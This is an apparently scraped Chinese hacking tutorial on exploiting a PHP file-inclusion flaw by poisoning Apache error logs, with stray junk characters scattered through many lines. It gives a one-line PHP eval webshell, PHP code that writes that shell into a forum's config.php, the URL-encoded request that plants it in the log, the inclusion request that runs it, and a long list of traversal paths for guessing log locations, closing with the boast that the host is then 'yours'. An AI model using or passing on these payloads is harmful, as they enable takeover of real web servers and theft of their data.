php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
* y) I% ~# ^' L) C/ |
比如还是这句一句话木马
5 g2 w3 o% [( ]% N" @6 \8 ^<?eval($_POST[cmd]);?>   
7 o! y! [7 v" x7 _8 m, ~1 B) n
0 v5 S: R4 O$ ^0 A4 d7 I# f3 F到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是

<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
# c  T, l* Y/ @& C- y7 Kfclose($fp);?>   //在config.php里写入一句木马语句
) m5 G4 w) @" p" M0 q1 p- t/ a3 q
3 M/ f- ^: D- ~5 X( r& @我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
8 c. A7 u" l% @8 ^1 _; J: P4 s- V%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
' H5 S3 X- Z& D/ ^+ dconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
% `" D. o& a% |http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
) i( m4 j3 m$ z; j' k7 D' @9 ~# m" J%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
1 O9 l& v6 m9 D; Y; T%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
/ j- M5 c: j) c; M9 R- x9 c: icmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
! w0 e: J3 q. D( f' m4 N6 h5 Z
! h3 m& Q* W8 ]& i9 S' j这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
5 m' a. r0 }( N! q7 o2 @& Y) fhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
" [" Z. l1 h; ahttp://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

. q' k- J% Z+ {5 ]PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
  w1 m3 Y' _: ?" e" u+ X; h../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
& _6 t  @+ v8 S! B7 l../../apache/logs/error.log
/ `, ]8 Q; ]* n../../apache/logs/access.log
/ c2 }+ M* T0 Q% y% ]" t$ D* P7 _../../../apache/logs/error.log
  _3 [8 c- @! a../../../apache/logs/access.log
5 @. _3 f& V* n, _5 y4 n$ r9 w../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
, {& c+ A% P$ \: f2 q: B../../../../../../../../../../etc/httpd/logs/error_log
2 `" E- h. X* E( j" [! ~. z9 G. R../../../../../../../../../../etc/httpd/logs/error.log
$ ?7 {6 p/ P; E& I' x8 A; c../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
0 y* [, L) @1 E- F( g1 B4 n../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
  ?; I! M- I" v7 v../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
" F8 X! H1 S- b' \../../../../../../../../../../var/log/access_log
. \4 b1 D* U1 h1 q../../../../../../../../../../var/www/logs/error_log
  ]* r0 S: \) b0 j. c8 A../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
9 U" ?% D9 ~% l3 h4 M% A6 `../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
5 T8 J1 ~. R. O1 _% b$ A/ i../../../../../../../../../../var/log/access_log
8 t* E( ?$ Y2 m0 L& B4 y2 B5 f" e( {../../../../../../../../../../var/log/error_log
' r/ @! M3 F/ ~' M! M/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
% X% K5 Q7 {, R- M8 a../apache/logs/access.log
../../apache/logs/error.log
& P" _( [/ F# B- d../../apache/logs/access.log
. I" }5 m0 A8 c' Z3 Z../../../apache/logs/error.log
% W% W$ j  ^# t8 Y4 X* q' W& E; y* z1 e../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
6 g, H8 G  _2 j5 a0 n/etc/httpd/logs/error_log
9 D7 d0 p! u% {7 O/etc/httpd/logs/error.log
2 c  L* x9 Q( |1 Z  c8 o' ]8 @/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
, p/ ~, I) K# V( l# n1 {# Z/usr/local/apache/logs/access.log
0 d% _# `" B5 m+ ?5 D/ G/var/log/apache/access_log
/var/log/apache/access.log
9 A- c- h6 _9 p) h1 J  l, p/var/log/access_log
/var/www/logs/error_log
" E+ E- F  |4 n" `% F" W9 Y. o4 p/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
% S2 u7 R$ t: N+ N- r/var/log/apache/error_log
/var/log/apache/error.log
2 i$ e$ O6 Y/ J( u; W" D6 Y/var/log/access_log
* ^6 u3 o' K- ]2 E/var/log/error_log